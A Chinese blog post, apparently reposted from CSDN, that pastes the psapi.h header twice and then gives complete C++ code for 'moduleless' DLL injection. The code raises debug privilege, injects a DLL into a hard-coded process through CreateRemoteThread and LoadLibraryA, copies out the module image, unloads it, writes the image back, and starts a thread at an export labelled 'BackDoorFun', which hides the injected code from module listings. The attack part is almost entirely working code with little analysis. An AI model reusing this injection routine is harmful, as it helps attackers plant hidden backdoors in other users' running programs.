我们在信息安全编程的时候经常需要进行dll进程注入,
我们在编程中如何实现呢。
需要引用
Psapi.Lib,具体可以百度下载之。
其头文件如下,
[cpp] view plain copy print ?
- odule Name:
-
- psapi.h
-
- Abstract:
-
- Include file for APIs provided by PSAPI.DLL
-
- Author:
-
- Richard Shupak [richards] 06-Jan-1994
-
- Revision History:
-
- --*/
-
- #ifndef _PSAPI_H_
- #define _PSAPI_H_
-
- #ifdef __cplusplus
- extern "C" {
- #endif
-
- BOOL
- WINAPI
- EnumProcesses(
- DWORD * lpidProcess,
- DWORD cb,
- DWORD * cbNeeded
- );
-
- BOOL
- WINAPI
- EnumProcessModules(
- HANDLE hProcess,
- HMODULE *lphModule,
- DWORD cb,
- LPDWORD lpcbNeeded
- );
-
- DWORD
- WINAPI
- GetModuleBaseNameA(
- HANDLE hProcess,
- HMODULE hModule,
- LPSTR lpBaseName,
- DWORD nSize
- );
-
- DWORD
- WINAPI
- GetModuleBaseNameW(
- HANDLE hProcess,
- HMODULE hModule,
- LPWSTR lpBaseName,
- DWORD nSize
- );
-
- #ifdef UNICODE
- #define GetModuleBaseName GetModuleBaseNameW
- #else
- #define GetModuleBaseName GetModuleBaseNameA
- #endif // !UNICODE
-
-
- DWORD
- WINAPI
- GetModuleFileNameExA(
- HANDLE hProcess,
- HMODULE hModule,
- LPSTR lpFilename,
- DWORD nSize
- );
-
- DWORD
- WINAPI
- GetModuleFileNameExW(
- HANDLE hProcess,
- HMODULE hModule,
- LPWSTR lpFilename,
- DWORD nSize
- );
-
- #ifdef UNICODE
- #define GetModuleFileNameEx GetModuleFileNameExW
- #else
- #define GetModuleFileNameEx GetModuleFileNameExA
- #endif // !UNICODE
-
-
- typedef struct _MODULEINFO {
- LPVOID lpBaseOfDll;
- DWORD SizeOfImage;
- LPVOID EntryPoint;
- } MODULEINFO, *LPMODULEINFO;
-
-
- BOOL
- WINAPI
- GetModuleInformation(
- HANDLE hProcess,
- HMODULE hModule,
- LPMODULEINFO lpmodinfo,
- DWORD cb
- );
-
-
- BOOL
- WINAPI
- EmptyWorkingSet(
- HANDLE hProcess
- );
-
-
- BOOL
- WINAPI
- QueryWorkingSet(
- HANDLE hProcess,
- PVOID pv,
- DWORD cb
- );
-
- BOOL
- WINAPI
- InitializeProcessForWsWatch(
- HANDLE hProcess
- );
-
-
- typedef struct _PSAPI_WS_WATCH_INFORMATION {
- LPVOID FaultingPc;
- LPVOID FaultingVa;
- } PSAPI_WS_WATCH_INFORMATION, *PPSAPI_WS_WATCH_INFORMATION;
-
- BOOL
- WINAPI
- GetWsChanges(
- HANDLE hProcess,
- PPSAPI_WS_WATCH_INFORMATION lpWatchInfo,
- DWORD cb
- );
-
- DWORD
- WINAPI
- GetMappedFileNameW(
- HANDLE hProcess,
- LPVOID lpv,
- LPWSTR lpFilename,
- DWORD nSize
- );
-
- DWORD
- WINAPI
- GetMappedFileNameA(
- HANDLE hProcess,
- LPVOID lpv,
- LPSTR lpFilename,
- DWORD nSize
- );
-
- #ifdef UNICODE
- #define GetMappedFilenameEx GetMappedFilenameExW
- #else
- #define GetMappedFilenameEx GetMappedFilenameExA
- #endif // !UNICODE
-
- BOOL
- WINAPI
- EnumDeviceDrivers(
- LPVOID *lpImageBase,
- DWORD cb,
- LPDWORD lpcbNeeded
- );
-
-
- DWORD
- WINAPI
- GetDeviceDriverBaseNameA(
- LPVOID ImageBase,
- LPSTR lpBaseName,
- DWORD nSize
- );
-
- DWORD
- WINAPI
- GetDeviceDriverBaseNameW(
- LPVOID ImageBase,
- LPWSTR lpBaseName,
- DWORD nSize
- );
-
- #ifdef UNICODE
- #define GetDeviceDriverBaseName GetDeviceDriverBaseNameW
- #else
- #define GetDeviceDriverBaseName GetDeviceDriverBaseNameA
- #endif // !UNICODE
-
-
- DWORD
- WINAPI
- GetDeviceDriverFileNameA(
- LPVOID ImageBase,
- LPSTR lpFilename,
- DWORD nSize
- );
-
- DWORD
- WINAPI
- GetDeviceDriverFileNameW(
- LPVOID ImageBase,
- LPWSTR lpFilename,
- DWORD nSize
- );
-
- #ifdef UNICODE
- #define GetDeviceDriverFileName GetDeviceDriverFileNameW
- #else
- #define GetDeviceDriverFileName GetDeviceDriverFileNameA
- #endif // !UNICODE
-
-
-
- typedef struct _PROCESS_MEMORY_COUNTERS {
- DWORD cb;
- DWORD PageFaultCount;
- DWORD PeakWorkingSetSize;
- DWORD WorkingSetSize;
- DWORD QuotaPeakPagedPoolUsage;
- DWORD QuotaPagedPoolUsage;
- DWORD QuotaPeakNonPagedPoolUsage;
- DWORD QuotaNonPagedPoolUsage;
- DWORD PagefileUsage;
- DWORD PeakPagefileUsage;
- } PROCESS_MEMORY_COUNTERS;
- typedef PROCESS_MEMORY_COUNTERS *PPROCESS_MEMORY_COUNTERS;
-
- BOOL
- WINAPI
- GetProcessMemoryInfo(
- HANDLE Process,
- PPROCESS_MEMORY_COUNTERS ppsmemCounters,
- DWORD cb
- );
-
- #ifdef __cplusplus
- }
- #endif
-
- #endif
odule Name:
psapi.h
Abstract:
Include file for APIs provided by PSAPI.DLL
Author:
Richard Shupak [richards] 06-Jan-1994
Revision History:
--*/
#ifndef _PSAPI_H_
#define _PSAPI_H_
#ifdef __cplusplus
extern "C" {
#endif
BOOL
WINAPI
EnumProcesses(
DWORD * lpidProcess,
DWORD cb,
DWORD * cbNeeded
);
BOOL
WINAPI
EnumProcessModules(
HANDLE hProcess,
HMODULE *lphModule,
DWORD cb,
LPDWORD lpcbNeeded
);
DWORD
WINAPI
GetModuleBaseNameA(
HANDLE hProcess,
HMODULE hModule,
LPSTR lpBaseName,
DWORD nSize
);
DWORD
WINAPI
GetModuleBaseNameW(
HANDLE hProcess,
HMODULE hModule,
LPWSTR lpBaseName,
DWORD nSize
);
#ifdef UNICODE
#define GetModuleBaseName GetModuleBaseNameW
#else
#define GetModuleBaseName GetModuleBaseNameA
#endif // !UNICODE
DWORD
WINAPI
GetModuleFileNameExA(
HANDLE hProcess,
HMODULE hModule,
LPSTR lpFilename,
DWORD nSize
);
DWORD
WINAPI
GetModuleFileNameExW(
HANDLE hProcess,
HMODULE hModule,
LPWSTR lpFilename,
DWORD nSize
);
#ifdef UNICODE
#define GetModuleFileNameEx GetModuleFileNameExW
#else
#define GetModuleFileNameEx GetModuleFileNameExA
#endif // !UNICODE
typedef struct _MODULEINFO {
LPVOID lpBaseOfDll;
DWORD SizeOfImage;
LPVOID EntryPoint;
} MODULEINFO, *LPMODULEINFO;
BOOL
WINAPI
GetModuleInformation(
HANDLE hProcess,
HMODULE hModule,
LPMODULEINFO lpmodinfo,
DWORD cb
);
BOOL
WINAPI
EmptyWorkingSet(
HANDLE hProcess
);
BOOL
WINAPI
QueryWorkingSet(
HANDLE hProcess,
PVOID pv,
DWORD cb
);
BOOL
WINAPI
InitializeProcessForWsWatch(
HANDLE hProcess
);
typedef struct _PSAPI_WS_WATCH_INFORMATION {
LPVOID FaultingPc;
LPVOID FaultingVa;
} PSAPI_WS_WATCH_INFORMATION, *PPSAPI_WS_WATCH_INFORMATION;
BOOL
WINAPI
GetWsChanges(
HANDLE hProcess,
PPSAPI_WS_WATCH_INFORMATION lpWatchInfo,
DWORD cb
);
DWORD
WINAPI
GetMappedFileNameW(
HANDLE hProcess,
LPVOID lpv,
LPWSTR lpFilename,
DWORD nSize
);
DWORD
WINAPI
GetMappedFileNameA(
HANDLE hProcess,
LPVOID lpv,
LPSTR lpFilename,
DWORD nSize
);
#ifdef UNICODE
#define GetMappedFilenameEx GetMappedFilenameExW
#else
#define GetMappedFilenameEx GetMappedFilenameExA
#endif // !UNICODE
BOOL
WINAPI
EnumDeviceDrivers(
LPVOID *lpImageBase,
DWORD cb,
LPDWORD lpcbNeeded
);
DWORD
WINAPI
GetDeviceDriverBaseNameA(
LPVOID ImageBase,
LPSTR lpBaseName,
DWORD nSize
);
DWORD
WINAPI
GetDeviceDriverBaseNameW(
LPVOID ImageBase,
LPWSTR lpBaseName,
DWORD nSize
);
#ifdef UNICODE
#define GetDeviceDriverBaseName GetDeviceDriverBaseNameW
#else
#define GetDeviceDriverBaseName GetDeviceDriverBaseNameA
#endif // !UNICODE
DWORD
WINAPI
GetDeviceDriverFileNameA(
LPVOID ImageBase,
LPSTR lpFilename,
DWORD nSize
);
DWORD
WINAPI
GetDeviceDriverFileNameW(
LPVOID ImageBase,
LPWSTR lpFilename,
DWORD nSize
);
#ifdef UNICODE
#define GetDeviceDriverFileName GetDeviceDriverFileNameW
#else
#define GetDeviceDriverFileName GetDeviceDriverFileNameA
#endif // !UNICODE
// Structure for GetProcessMemoryInfo()
typedef struct _PROCESS_MEMORY_COUNTERS {
DWORD cb;
DWORD PageFaultCount;
DWORD PeakWorkingSetSize;
DWORD WorkingSetSize;
DWORD QuotaPeakPagedPoolUsage;
DWORD QuotaPagedPoolUsage;
DWORD QuotaPeakNonPagedPoolUsage;
DWORD QuotaNonPagedPoolUsage;
DWORD PagefileUsage;
DWORD PeakPagefileUsage;
} PROCESS_MEMORY_COUNTERS;
typedef PROCESS_MEMORY_COUNTERS *PPROCESS_MEMORY_COUNTERS;
BOOL
WINAPI
GetProcessMemoryInfo(
HANDLE Process,
PPROCESS_MEMORY_COUNTERS ppsmemCounters,
DWORD cb
);
#ifdef __cplusplus
}
#endif
#endif
无模块dll进程注入请见下列代码与分析
[cpp] view plain copy print ?
- #include "stdafx.h"
- #include "windows.h"
- #include "stdio.h"
- #include "Psapi.h"
- #include "Tlhelp32.h"
-
-
-
- BOOL GetThreadInformation(DWORD ProcessID,char* Dllfullname,MODULEENTRY32 &Thread)
- {
- HANDLE hthSnapshot = NULL;
-
- hthSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,ProcessID);
- if (hthSnapshot == NULL)
- return FALSE;
-
- BOOL bMoreMods = Module32First(hthSnapshot, &Thread);
- if (bMoreMods == FALSE)
- return FALSE;
-
- for (;bMoreMods; bMoreMods = Module32Next(hthSnapshot, &Thread))
- {
- if (strcmp(Thread.szExePath, Dllfullname) == 0)
- break;
- }
- if (strcmp(Thread.szExePath, Dllfullname) == 0)
- return TRUE;
- else
- return FALSE;
-
- }
-
- BOOL AdjustPrivileges(HANDLE hProcess,LPCTSTR lpPrivilegeName)
- {
-
-
-
- HANDLE hToken;
- TOKEN_PRIVILEGES tkp;
-
- if (!::OpenProcessToken(hProcess,
- TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
- return FALSE;
-
- if(!::LookupPrivilegeValue(NULL,
- lpPrivilegeName,
- &tkp.Privileges[0].Luid))
- return FALSE;
-
- tkp.PrivilegeCount = 1;
- tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
- if(!::AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,
- (PTOKEN_PRIVILEGES) NULL, 0))
- return FALSE;
- return TRUE;
- }
-
- BOOL InjectRemoteProcess(HANDLE hProcess,char* Dllfullname)
- {
-
-
- PSTR pDllName=NULL;
- if((pDllName=(PSTR)::VirtualAllocEx(hProcess,
- NULL,
- strlen(Dllfullname)+1,
- MEM_COMMIT|MEM_RESERVE,
- PAGE_EXECUTE_READWRITE))==NULL)
- return FALSE;
-
- BOOL writecode;
- if((writecode=::WriteProcessMemory(hProcess,
- pDllName,
- Dllfullname,
- strlen(Dllfullname)+1,
- NULL))==0)
- return FALSE;
-
-
- PTHREAD_START_ROUTINE pfnThreadRtn =
- (PTHREAD_START_ROUTINE)GetProcAddress(
- GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
- if (pfnThreadRtn== NULL)
- return FALSE;
-
- HANDLE hRemoteThread=NULL;
- if((hRemoteThread=::CreateRemoteThread(hProcess,
- NULL,
- 0,
- pfnThreadRtn,
- pDllName,
- 0,
- NULL))==NULL)
- return FALSE;
- return TRUE;
- }
-
- BOOL UnistallDll(HANDLE hProcess,BYTE * Address)
- {
-
-
- HANDLE hThread = NULL;
- PTHREAD_START_ROUTINE pfnThreadRtn =
- (PTHREAD_START_ROUTINE)GetProcAddress(
- GetModuleHandle("Kernel32.dll"), "FreeLibrary");
- if (pfnThreadRtn == NULL)
- return FALSE;
-
- hThread = ::CreateRemoteThread(hProcess,
- NULL,
- 0,
- pfnThreadRtn,
- Address,
- 0,
- NULL);
- if (hThread == NULL)
- return FALSE;
-
- ::WaitForSingleObject(hThread, INFINITE);
-
- ::CloseHandle(hThread);
- return TRUE;
-
- }
-
- #define pid 3844
- #define BackDoorFun 0x1014//DLL模块中导出函数的地址
- int main(int argc, char* argv[])
- {
- char Dllfullname[255];
- char Dllname[255];
-
- HANDLE hRemoteProcess=NULL;
- if((hRemoteProcess=::OpenProcess(PROCESS_ALL_ACCESS,
- FALSE,
- pid))==NULL)
- {
- printf("OpenProcess faile!!");
- return 0;
- }
-
- BOOL Adjust=AdjustPrivileges(hRemoteProcess,SE_DEBUG_NAME);
- if(Adjust==FALSE)
- {
- printf("Adjust process Privileges faile!!\n");
- return 0;
- }
-
-
- strcpy(Dllname,"dll.dll");
- ::GetCurrentDirectory(255,Dllfullname);
- strcat(Dllfullname,"\\");
- strcat(Dllfullname,Dllname);
-
- BOOL Res=InjectRemoteProcess(hRemoteProcess,Dllfullname);
- if(Res==FALSE)
- {
- printf("Inject Faile!!\n");
- return 0;
- }
-
-
- ::Sleep(300);
-
- DWORD RemoteTheadAddress=0;
- MODULEENTRY32 Thread = {sizeof(Thread)};;
- RemoteTheadAddress=GetThreadInformation(pid,Dllfullname,Thread);
- if(RemoteTheadAddress==0)
- {
- printf("Get RemoteTheadAddress Faile!!\n");
- return 0;
- }
-
-
- char *buffer=new char[Thread.modBaseSize+1];
- DWORD read;
- ::ReadProcessMemory(hRemoteProcess,
- Thread.modBaseAddr,
- buffer,
- Thread.modBaseSize,
- &read);
-
- BOOL Unstall=UnistallDll(hRemoteProcess,Thread.modBaseAddr);
- if(Unstall==FALSE)
- {
- printf("Unistall dll Faile!!!\n");
- return 0;
- }
-
- LPVOID Alloc;
- Alloc=::VirtualAllocEx(hRemoteProcess,Thread.modBaseAddr,Thread.modBaseSize,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
- if(Alloc== NULL)
- {
- printf("VirtualAllocEx Failed!!\n");
- return 0;
- }
-
- BOOL Writer;DWORD Written;
- Writer=::WriteProcessMemory(hRemoteProcess,Thread.modBaseAddr,buffer,Thread.modBaseSize,&Written);
- if(Writer==0)
- {
- printf("WriteProcessMemory Failed!!\n");
- return 0;
- }
-
- HANDLE hNewThread=NULL;
- if((hNewThread=::CreateRemoteThread(hRemoteProcess,
- NULL,
- 0,
- (PTHREAD_START_ROUTINE)(Thread.modBaseAddr+BackDoorFun),
- NULL,
- 0,
- NULL))==NULL)
- {
- printf("CreateNewThread faile!!\n");
- return 0;
- }
- return 0;
- }
原文地址:http://blog.csdn.net/yincheng01/article/details/7214469